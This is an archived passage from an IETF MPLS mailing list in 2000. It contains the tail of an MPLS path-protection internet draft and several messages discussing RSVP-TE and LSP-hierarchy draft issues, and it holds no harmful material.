PSL).=20 =20 PML: The PML, in general, has to remember all of its upstream=20 neighbors and associate them with the appropriate working paths an= d=20 RNTs. If the PML is also the root of the RNT, it has to associate=20 each of its upstream nodes with a working path and RNT, but it nee= d=20 not maintain an inverse cross-connect table (for those LSPs and=20 working paths for which it is a PML).=20 =20 Intermediate LSR: An intermediate LSR has to only remember all of=20 its upstream neighbors and associate them with the appropriate=20 =20 Chang et al. Expires January 2001 [Page 18= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 working paths and RNTs, and has to maintain an "inverse" cross- connect table.=20 =20 5.4 Engineering a Protection Domain=20 =20 For 1:1 protection, the bandwidth (if any) reserved for a=20 protection/recovery path should be the same as the bandwidth=20 reserved for its corresponding working path. This guarantees the=20 same bandwidth for the protected traffic after protection switchin= g.=20 If the LSRs on the protection path support excess mode [3], the=20 bandwidth reserved on the protection path for protecting high=20 priority traffic can be used by other lower priority traffic=20 streams. That is, lower priority traffic that has a segment in=20 common with the recovery path, use the bandwidth of the recovery=20 path, as long as the recovery path is not called into use. When th= e=20 recovery path is pressed into service, the low priority traffic wi= ll=20 be discarded to allow for the actual working traffic to take its=20 place. Also, if delay, jitter or other QoS parameters are to be=20 satisfied, the protection path in 1:1 protection should be chosen=20 such that these requirements are satisfied.=20 =20 Since the volume of signaling traffic (e.g., FIS/FRS messages, or=20 liveness messages) is small, in general bandwidth need not be=20 reserved for the signaling traffic provided that there exist other= =20 mechanisms that can ensure that the delay requirements of signalin= g=20 messages are met (by using, for example, the highest priority for=20 signaling messages).=20 =20 For bypass tunneling protection, multiple working LSPs may share t= he=20 same protection bandwidth by tunneling protection LSPs over a comm= on=20 path. This requires that the working paths of these LSPs be=20 disjoint, except at the PSL and PML, so that they can be assumed t= o=20 not all fail at the same time. In this case, the bandwidth reserve= d=20 on the tunnel will be the maximum of all individual paths.=20 Otherwise, a bypass tunnel could be created to carry all the backu= p=20 paths, with the bandwidth reserved for the tunnel being the maximu= m=20 bandwidth required over all failure scenarios on the working LSPs.= =20 =20 5.5 Configuring Timers=20 =20 The purpose of timers t1/t1' is to control the tradeoff between=20 notification delay of the FIS/FRS and the resources consumed when=20 sending the FIS/FRS. If t1/t1' is large, it may take a relatively=20 long time for the node that initiated the FIS/FRS transmission to=20 send the second the FIS/FRS if the first FIS/FRS message is lost,=20 thereby increasing notification delay. On the other hand, if t1/t1= '=20 is small, the repetitive sending of FIS/FRS messages may waste=20 bandwidth and processing power because the first message may alrea= dy=20 have reached the PSL(s).=20 =20 It is assumed that after t2/t2' it is not necessary to do protecti= on=20 at MPLS layer, either because it is no longer useful or because by= =20 that time an upper layer protection mechanism will have been=20 triggered.=20 =20 Chang et al. Expires January 2001 [Page 19= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 The timers t4/t4' are used to control the frequency of liveness=20 messages sent between neighboring LSRs, so their purpose is the sa= me=20 as those of timers t1/t1=92. While frequent exchanges of liveness=20 messages can unnecessarily consume network resources, too few=20 exchanges may delay the discovery of faults. To accommodate delay=20 jitter, t4' may be set at a slightly different value from t4.=20 =20 The timers t5/t6 are used to allow lower layer protection to take=20 effect before initiating MPLS layer recovery mechanisms (for=20 example, an automatic protection switching between fibers that=20 comprise a link between two LSRs). Following the detection of a=20 fault/fault repair S/FRS packet, respectively. This allows for the= =20 lower layer protection to take effect and for the LSR to learn thi= s=20 through one of several ways: via an indication from a lower layer,= =20 or by the resumption of the reception of a liveness message, or by= =20 the lack of LF, LD, PF or PD conditions (see definitions in [3]).=20 =20 The threshold K helps to minimize false alarms due to the occasion= al=20 loss of a liveness message, which may occur, for example, either d= ue=20 to a temporary impairment in a link or a peer LSR or due to a buff= er=20 overflow. =20 =20 6.0 Fault Detection=20 =20 Each LSR must be able to detect certain types of faults, such as P= F,=20 PD, LF, and LD [3] and propagate an FIS message towards the PSL. =20 Here we consider unidirectional link faults, bi-directional (or=20 complete) link faults, and node faults. =20 =20 Essentially, the node upstream of the fault must be able to=20 detect/learn about the fault. This motivates the need for a=20 "liveness"message, which allows a node upstream of the fault to=20 detect the fault either directly or implicitly. Also, the fault=20 detection mechanism must provide the trigger for generating the FI= S. =20 Broadly, the types of mechanisms that could be triggers for the FI= S=20 are:=20 i) Lower layer mechanisms=20 ii) MPLS-based detection mechanisms, which may be used to detect=20 link faults, via a liveness message for example.=20 iii) User-plane OAM mechanisms, such as a path continuity test,=20 which may be used to detect other faults, such as mis- connections (arising from incorrect entries in the label=20 forwarding table, for example).=20 =20 The fault types that need to be detected are:=20 =20 -- Unidirectional Link Fault: A uni-directional fault implies th= at=20 only one direction of a bi-directional link has experienced a= =20 fault=20 =20 -- Downlink Fault: A fault on a link in the downstream direction= =20 will be detected by the node downstream of the faulty link,=20 either via the PF or PD condition being detected at the MPLS=20 =20 Chang et al. Expires January 2001 [Page 20= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 layer, or via LF or LD signals being propagated to the MPLS=20 layer by the lower layer or via the absence of liveness=20 messages.=20 =20 -- Uplink Fault: A fault on a link in the upstream direction wil= l=20 be detected by a node upstream of the faulty link, either via= a=20 LF or LD being detected at the lower layer and propagated to=20 the MPLS layer (if there was traffic on this reverse link), o= r=20 via the PD or PF condition being detected at the MPLS layer, = or=20 via absence of liveness messages.=20 =20 -- Bi-directional link fault or node fault: When both directions= =20 of the link have a fault (as in the case of a fiber cut), nod= es=20 at both ends of the link will detect the fault either due to=20 the LF or PF signal or due to the absence of liveness message= s.=20 =20 7.0 Fault Notification=20 =20 The rapid notification of a fault is effected by the propagation o= f=20 the FIS message along the RNT. Due to the timers built into the=20 FIS/FRS propagation mechanism, the transportation of FIS/FRS=20 messages does not require a reliable mechanism like TCP. Any LSR=20 may generate an FIS. =20 =20 For instance, in Fig. 1 if link L23 fails, LSR 3 will detect it an= d=20 transmit a FIS to LSR 2 (after waiting for time T2), its upstream=20 neighbor along link L23. The FIS will contain the incoming labels=20 (at node 3) of those LSPs on link L23 that have protection enabled= .=20 Upon receiving the FIS message, LSR 2 will consult its inverse-cro= ss=20 connect table and generate an FIS message for LSR 1, which on=20 receiving the first FIS packet will wait for time t3 before=20 performing a protection switch. The node which initiates the FIS=20 will continue to send FIS messages at an interval of t1 until time= r=20 t2 expires. After t2 expires it is assumed that either upper layer= =20 protection will be triggered or enough number of FIS messages will= =20 have been sent to reach the desired reliability in conveying fault= =20 information to the PSL(s).=20 =20 The roles of the various core protection switching components are:= =20 =20 PSL: The PSL does not generate a FIS message, but must be able to=20 detect FIS packets.=20 =20 PML: The PML must be able to generate the FIS packets in response = to=20 detecting failure, and should transmit them over the RNT. The PML=20 begins FIS transmission after continuously detecting a fault for T= 2=20 time units, and does so every t1 time units for a maximum of t2 ti= me=20 units.=20 =20 Intermediate LSR: An intermediate LSR must be able to=20 generate/forward FIS packets, either as a result of continuously=20 detecting a fault for T2 time units or in response to a received F= IS=20 packet. It must transmit these to all its affected upstream=20 =20 Chang et al. Expires January 2001 [Page 21= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 neighbors as per its inverse cross-connect table. Again, it does s= o=20 every t1 time units for a maximum of t2 time units. =20 =20 8.0 Switch Over=20 =20 The switch over is the actual switching of the working traffic fro= m=20 the working path to the recovery path. This is performed by a PSL,= =20 t3 time units after the reception of the first FIS packet.=20 =20 For example, in Fig. 1, consider protection domain (1-2-3-4-6-7, 1= - 5-7). When link L34 fails, the PSL LSR 1 on learning of the failur= e=20 will perform a protection switch of the protected traffic from the= =20 working path 1-2-3-4-6-7 to the backup path 1-5-7. Notice that LSR= 7=20 acts as a protection merge LSR, merging traffic from the working a= nd=20 backup paths. Since buffered packets from LSR 4 may continue to=20 arrive at LSR 7 even after the protection switch (the dampening=20 timer t43 at the PSL tends to mitigate this), a short-term=20 misordering of packets may happen at LSR 7, until the buffers on t= he=20 working path drain out. =20 =20 The role of the core protection components is as follows:=20 =20 PSL: Performs the protection switch upon receipt of the FIS messag= e,=20 but after waiting for time t3 following the first FIS message.=20 =20 PML: The PML automatically merges protection traffic with working=20 traffic. For a short period of time this may cause misordering of=20 packets, since packets buffered at LSRs downstream of the fault ma= y=20 continue to arrive at the PML along the working path.=20 =20 Intermediate LSR: The intermediate LSR has no special action. =20 =20 9.0 Switch Back=20 =20 Switch back or restoration is the transfer of working traffic from= =20 the recovery path to the working path, once the working path is=20 repaired. This may be because the recovery path may be a limited=20 recovery path [3], or because the working path is deemed to be=20 preferred [3] in some respect. Restoration may be automatic or it= =20 may be performed by manual intervention (or not performed at all).= =20 In the revertive mode, restoration is performed upon the receipt o= f=20 the FRS message. A path continuity test may be performed to ensure= =20 the integrity of the entire path before switching. I n the non- revertive mode it may be performed by operator intervention.=20 =20 The role of the core protection components is similar here to what= =20 it is for protection switching. The PML does not need to do=20 anything, unless it was the node that detected the failure, in whi= ch=20 case it transmits a FRS upstream t6 time units after continuously=20 detecting recover signal from lower layer or after detecting=20 liveness messages from its peers. The intermediate LSR generates t= he=20 FRS message if it was the node that detected the recovery or=20 generates a FRS to relay the restoration status received from a=20 =20 Chang et al. Expires January 2001 [Page 22= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 downstream node. The PSL performs the restoration switch t3=92 sec= onds=20 after receiving the first FIS message.=20 =20 10.0 Protocol Specific Extensions=20 =20 The signaling protocol specific extensions needed to implement the= =20 mechanism outlined in this draft are discussed in separate documen= ts=20 [8],[9].=20 =20 11.0 Security Considerations=20 =20 The MPLS protection that is specified herein does not raise any=20 security issues that are not already present in the MPLS=20 architecture.=20 =20 =20 12.0 Intellectual Property Considerations=20 =20 In accordance with the intellectual property rights procedures of=20 the IETF standards process, to the extent that Tellabs has patents= ,=20 pending applications and/or other intellectual property rights tha= t=20 are essential to implementation of any subject matter submitted by= =20 Tellabs that is included in a standard, Tellabs is prepared to=20 grant, on the basis of reciprocity (grantback), a license on such=20 subject matter under terms and conditions that are reasonable and=20 non-discriminatory.=20 =20 13.0 Acknowledgements=20 =20 We would like to thank our colleague Ben Mack-Crane, and members o= f=20 the MPLS WG list, in particular Dave Allan, Bora Akyol, Neil=20 Harrisson, Ping Pan, and J. Noel Chiappa, for suggestions, feedbac= k,=20 and corrections to the first version of this draft.=20 =20 =20 14.0 Authors=92 Addresses=20 =20 Changcheng Huang Vishal Sharma=20 Department of Systems and Tellabs Research Center=20 Computer Engineering=20 Carleton University One Kendall Square=20 1125 Colonel By Drive Bldg. 100, Ste. 121=20 Ottawa, Ontario K1S 5B6 Cambridge, MA 02139-1562=20 Phone: (613) 520-2600 ext. 2477 Phone: 617-577-8760=20 Changcheng.huang@sce.carleton.ca Vishal.Sharma@tellabs.com=20 =20 Srinivas Makam Ken Owens=20 Tellabs Operations, Inc. Tellabs Operations, Inc.=20 4951 Indiana Avenue 1106 Fourth Street=20 Lisle, IL 60532 St. Louis, MO 63126=20 Phone: 630-512-7217 Phone: 314-918-1579=20 Srinivas.Makam@tellabs.com Ken.Owens@tellabs.com=20 =20 =20 =20 Chang et al. Expires January 2001 [Page 23= ]=20 IETF Draft A Path Protection Mechanism for MPLS Networks July 200= 0=20 =20 15.0 References=20 =20 [1] Rosen, E., Viswanathan, A., and Callon, R., "Multiprotocol Lab= el=20 Switching Architecture", Work in Progress, Internet Draft , July 2000.=20 =20 [2] Callon, R., Doolan, P., Feldman, N., Fredette, A., Swallow, G.= ,=20 Viswanathan, A., "A Framework for Multiprotocol Label Switching= ",=20 Work in Progress, Internet Draft , September 1999.=20 =20 [3] Makam, V., Sharma, V., Huang, C., Owens, K., Mack-Crane, B., e= t=20 al, "A Framework for MPLS-based Recovery", Work in Progress,=20 Internet Draft ,=20 September 2000.=20 =20 [4] Andersson, L., Doolan, P., Feldman, N., Fredette, A., Thomas,=20 B., "LDP Specification", Work in Progress, Internet Draft , August 2000.=20 =20 [5] Jamoussi, B. "Constraint-Based LSP Setup using LDP", Work in=20 Progress, Internet Draft , July=20 2000.=20 =20 [6] Braden, R., Zhang, L., Berson, S., Herzog, S., "Resource=20 ReSerVation Protocol (RSVP) -- Version 1 Functional=20 Specification", RFC 2205, September 1997.=20 =20 [7] Awduche, D. et al "Extensions to RSVP for LSP Tunnels", Work i= n=20 Progress, Internet Draft , November 2000.=20 =20 [9] Owens, K., Sharma, V., Makam. V, and Huang, C., "Extensions to= =20 CR-LDP for MPLS Path Protection", Internet Draft, , November, 2000.=20 =20 Chang et al. Expires January 2001 [Page 24= ]=20 --------------EA57B38E7DCBC5418FC8E044 Content-Type: text/x-vcard; charset=us-ascii; name="kowens.vcf" Content-Description: Card for Ken Owens Content-Disposition: attachment; filename="kowens.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Owens;Ken tel;pager:888-775-8598 tel;fax:(314) 918-1574 tel;home:(314) 918-1574 tel;work:(314) 918-1579 x-mozilla-html:FALSE org:DSD Systems Engineering adr:;;1106 Fourth Street;St. Louis;MO;63126; version:2.1 email;internet:kowens@tellabs.com title:Senior Member of Technical Staff note;quoted-printable:IEEE St. Louis Section:=0D=0A=0D=0ACommunications Society Chair=0D=0A=0D=0AGOLD Committee Chair x-mozilla-cpt:;-12736 fn:Owens, Ken end:vcard --------------EA57B38E7DCBC5418FC8E044-- From owner-mpls@UU.NET Mon Nov 20 16:46:06 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23973 for ; Mon, 20 Nov 2000 16:46:06 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqeg23289; Mon, 20 Nov 2000 21:44:23 GMT Received: by mail-control.mail.uu.net id QQjqeg28110 for mpls-outgoing; Mon, 20 Nov 2000 21:43:39 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqeg28102 for ; Mon, 20 Nov 2000 21:43:27 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqeg09737 for ; Mon, 20 Nov 2000 21:43:25 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqeg21741 for ; Mon, 20 Nov 2000 21:43:24 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA17949 for mpls@uu.net; Mon, 20 Nov 2000 16:43:23 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqeg28007 for ; Mon, 20 Nov 2000 21:42:46 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqeg12870 for ; Mon, 20 Nov 2000 21:41:53 GMT Received: from miles.dataconnection.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.datcon.co.uk [192.91.191.8] (may be forged)) id QQjqeg19519 for ; Mon, 20 Nov 2000 21:41:52 GMT Received: by miles.dataconnection.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 21:41:43 -0000 Message-ID: From: Adrian Farrel To: swallow@cisco.com Cc: mpls@UU.NET Subject: Last call on draft-ietf-mpls-rsvp-lsp-tunnel-07 Date: Mon, 20 Nov 2000 21:41:20 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk George, I have an issue which I first raised on v6 of the draft and to which I can't find a response (sorry if my parsing of the archives is defective). The text in question remains in draft v7. It concerns the Label Subobject in the RRO. The aim is that we should be able to take an RRO received on a Resv at the ingress and pass it back out as an ERO. This works nicely as a way of pinning since the L bit will be clear in the RRO. However, by adding a label sub-object this processing is broken. Note that the breakage is not in the addition to the RRO, but in the text in 4.3.6 for ERO forward compatibility. It is anticipated that new subobjects may be defined over time. A node which encounters an unrecognized subobject during its normal ERO processing sends a PathErr with the error code "Routing Error" and error value of "Bad Explicit Route Object" toward the sender. The EXPLICIT_ROUTE object is included, truncated (on the left) to the offending subobject. The presence of an unrecognized subobject which is not encountered in a node's ERO processing SHOULD be ignored. It is passed forward along with the rest of the remaining ERO stack. Since the label subobject isn't defined for ERO in RSVP-TE until GMPLS it is, by definition, unrecognized when it arrives in an ERO. Could we extend 4.3.6 to say "...MAY choose to discard the unrecognized subobject and continue to process the next subobject..."? I believe this would cover the issue. Incidentally, should we strive to ensure that the format of the label subobject in ERO in GMPLS matches the label subobject in the RRO here (or is that a problem for the GMPLS authors?). Regards, Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 >-----Original Message----- >From: Adrian Farrel >Sent: Wednesday, July 26, 2000 8:47 PM >To: 'swallow@cisco.com' >Cc: 'mpls@uu.net' >Subject: Comments on draft-ietf-mpls-rsvp-lsp-tunnel-06 > > >George, > >A couple of questions and some minor editorial thoughts. >Sorry if I'm revisiting old ground - if so please simply reply >"see archive". > >Hope this is of use. > >Regards, >Adrian > >Questions >========= > >4.4.2 RRO Applicability > The text inherited from the previous draft says that an RRO can > be converted to an ERO "with minor changes". This has now been > broken by the addition of the Label subobject. > It would be unfortunate (but perhaps necessary?) to require that > the RRO is parsed when pinning a session path. The alternative > would appear to be to allow the Label object to be present but > ignored in the ERO. From owner-mpls@UU.NET Mon Nov 20 16:46:58 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24204 for ; Mon, 20 Nov 2000 16:46:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqeh28415; Mon, 20 Nov 2000 21:45:10 GMT Received: by mail-control.mail.uu.net id QQjqeg28212 for mpls-outgoing; Mon, 20 Nov 2000 21:44:21 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqeg28200 for ; Mon, 20 Nov 2000 21:44:18 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqeg17968 for ; Mon, 20 Nov 2000 21:43:31 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqeg25506 for ; Mon, 20 Nov 2000 21:43:30 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA13743 for ; Mon, 20 Nov 2000 13:43:28 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA14045 for mpls@uu.net; Mon, 20 Nov 2000 16:43:28 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqeg27886 for ; Mon, 20 Nov 2000 21:41:16 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqeg07119 for ; Mon, 20 Nov 2000 21:40:04 GMT Received: from gatekeeper.cam.virata.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: gatekeeper.virata.com [194.129.40.2]) id QQjqeg19298 for ; Mon, 20 Nov 2000 21:39:58 GMT Received: from boletus.cam.virata.com (boletus.cam.virata.com [192.168.219.9]) by gatekeeper.cam.virata.com (8.9.3/8.8.5) with ESMTP id VAA27373; Mon, 20 Nov 2000 21:39:54 GMT Received: from fileserv.ta.virata.com (fileserv.ta.virata.com [10.0.0.254]) by boletus.cam.virata.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id VAA01728; Mon, 20 Nov 2000 21:39:53 GMT Received: by fileserv.ta.virata.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 23:38:59 +0200 Message-ID: From: "Dovolsky, Dan" To: "'kireeti@juniper.net'" , "'yakov@cisco.com'" Cc: mpls@UU.NET Subject: draft-ietf-mpls-lsp-hierarchy-01 issues Date: Mon, 20 Nov 2000 23:38:58 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk BSD. Hi , I am currently trying to implement the draft-ietf-mpls-lsp-hierarchy-01.txt and facing with following issues: 1. The draft defines following: "Since LSPs are in general unidirectional, it follows that forwarding adjacencies are (by definition) unidirectional links. Therefore, the TE path computation procedures should not perform two-way connectivity check on the links used by the procedures." However, the LSPs are not always unidirectional. At least it might be not correct for Ethernet network type. So, the path computation has in some cases check the backward connectivity and in some case has not. In context of TE Opaque LSAs there are no information, which specifies such a difference. I would like to propose to allocate the new TE Link Option TLV with 4-bytes long value, which will carry Options bitmask. The one of the bit could be allocated for FA link type. Alternatively, the new value for FA-type (3 ?) may be assigned for Link Type TLV. 2. Bi-directional LSPs cannot be established over FA-links. The only problem is, that the only FA head-end LSR establishes and advertises the FA-link by TE Opaque LSA, while the tail-end could not establish it. I would like to offer addition of the following functionality: The head-end LSR originates it's FA-link Opaque LSA. When the tail-end LSR receives such a LSA it can check, that this LSA has type "FA" and has the tail-end address (carried in LinkId TLV) assigned to local Router Id. It could, in this case, to originate the new FA-link Opaque LSA with tail-end address set to head-end LSR Id. In case of bi-directional path computation request, the both FA-link LSAs have to be found and only in this case this FA-link could be taken as a candidate link in path computation algorithm. ____________________________________________ Dan Dovolsky MPLS&IP&ATM products leader Virata Corporation (Formerly Inverness Systems Inc) 24 Kanfei-Nesharim 24/B Jerusalem 95464, Israel +972-2-6541734(w) +972-54-477454(cel) ____________________________________________ From owner-mpls@UU.NET Mon Nov 20 17:19:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA29290 for ; Mon, 20 Nov 2000 17:19:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqej26557; Mon, 20 Nov 2000 22:18:08 GMT Received: by mail-control.mail.uu.net id QQjqej12809 for mpls-outgoing; Mon, 20 Nov 2000 22:17:18 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqej12798 for ; Mon, 20 Nov 2000 22:17:07 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqej19351 for ; Mon, 20 Nov 2000 22:15:28 GMT Received: from red.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjqej22115 for ; Mon, 20 Nov 2000 22:15:27 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id OAA05256; Mon, 20 Nov 2000 14:15:26 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id OAA10611; Mon, 20 Nov 2000 14:15:26 -0800 (PST) Date: Mon, 20 Nov 2000 14:15:26 -0800 (PST) From: Kireeti Kompella Message-Id: <200011202215.OAA10611@kummer.juniper.net> To: ddovolsky@virata.com, kireeti@juniper.net, yakov@cisco.com Subject: Re: draft-ietf-mpls-lsp-hierarchy-01 issues Cc: mpls@UU.NET Sender: owner-mpls@UU.NET Precedence: bulk Hi Dan, > I am currently trying to implement the draft-ietf-mpls-lsp-hierarchy-01.txt Super! > 1. The draft defines following: > > "Since LSPs are in general unidirectional, it follows that forwarding > adjacencies are (by definition) unidirectional links. Therefore, the > TE path computation procedures should not perform two-way > connectivity check on the links used by the procedures." > > However, the LSPs are not always unidirectional. At least it might be not > correct for Ethernet network type. I'm not sure what Ethernet networks have to do with unidirectionality of LSPs. LSPs set up according to RSVP-TE, LDP or CR-LDP are always unidirectional, whether over Ethernet, point-to-point links, or NBMA links. draft-ietf-mpls-generalized-signaling-01.txt defines bidirectional LSPs, but this applies equally to all types of LSPs. > So, the path computation has in some > cases check the backward connectivity and in some case has not. The suggestion is that constraint-based routing (e.g., CSPF) should *never* do the two-way connectivity, regardless of whether the underlying links (or FAs) are unidirectional or bidirectional. > 2. Bi-directional LSPs cannot be established over FA-links. The only > problem is, that the only FA head-end LSR establishes and advertises the > FA-link by TE Opaque LSA, while the tail-end could not establish it. Good point. If an FA is bidirectional, it should be advertised by both the head end and the tail end. Thanks; we will update the draft to say this. (Note that the unnumbered drafts say this, but unfortunately not the LSP hierarchy draft.) Kireeti. From owner-mpls@UU.NET Tue Nov 21 04:52:12 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA22583 for ; Tue, 21 Nov 2000 04:52:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqgd04669; Tue, 21 Nov 2000 09:50:30 GMT Received: by mail-control.mail.uu.net id QQjqgd04986 for mpls-outgoing; Tue, 21 Nov 2000 09:49:59 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqgd04979 for ; Tue, 21 Nov 2000 09:49:49 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqgd10927 for ; Tue, 21 Nov 2000 09:49:44 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqgd10988 for ; Tue, 21 Nov 2000 09:49:44 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id EAA02882 for mpls@uu.net; Tue, 21 Nov 2000 04:49:43 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqgd04964 for ; Tue, 21 Nov 2000 09:49:00 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqgd08035 for ; Tue, 21 Nov 2000 09:48:47 GMT Received: from miles.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp2.datcon.co.uk [192.91.191.8] (may be forged)) id QQjqgd09746 for ; Tue, 21 Nov 2000 09:48:47 GMT Received: by miles.dataconnection.com with Internet Mail Service (5.5.2650.21) id ; Tue, 21 Nov 2000 09:48:36 -0000 Message-ID: <37701240971DD31193970000F6CCB9F701BCBC54@duke.datcon.co.uk> From: Peter Waters To: "'mpls@UU.NET'" Subject: FW: Majordomo results: RE: Confirmation for subscribe mpls Date: Tue, 21 Nov 2000 09:48:32 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk > Hi, > > Since Monday 10th November we haven't seen any mailing from the Mailing > list for IETF Working Group on Multiprotocol Label Switching (MPLS). Can > you help me please. > > Many thanks > > Peter Waters > > Peter Waters > Data Connection Ltd > Tel: +44 20 8366 1177 Fax: +44 20 8363 5084 > Email:pgw@dataconnection.com Web: http://www.dataconnection.com > > > -----Original Message----- > From: majordomo@UU.NET [mailto:majordomo@UU.NET] > Sent: 03 February 2000 15:30 > To: MPLS > Subject: Majordomo results: RE: Confirmation for subscribe mpls > > > -- > > >>>> auth 0312f207 subscribe mpls MPLS4@datcon.co.uk > Succeeded. From owner-mpls@UU.NET Tue Nov 21 06:02:40 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA01626 for ; Tue, 21 Nov 2000 06:02:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqgi12531; Tue, 21 Nov 2000 11:01:11 GMT Received: by mail-control.mail.uu.net id QQjqgi23988 for mpls-outgoing; Tue, 21 Nov 2000 11:00:39 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqgi23623 for ; Tue, 21 Nov 2000 11:00:26 GMT Received: from 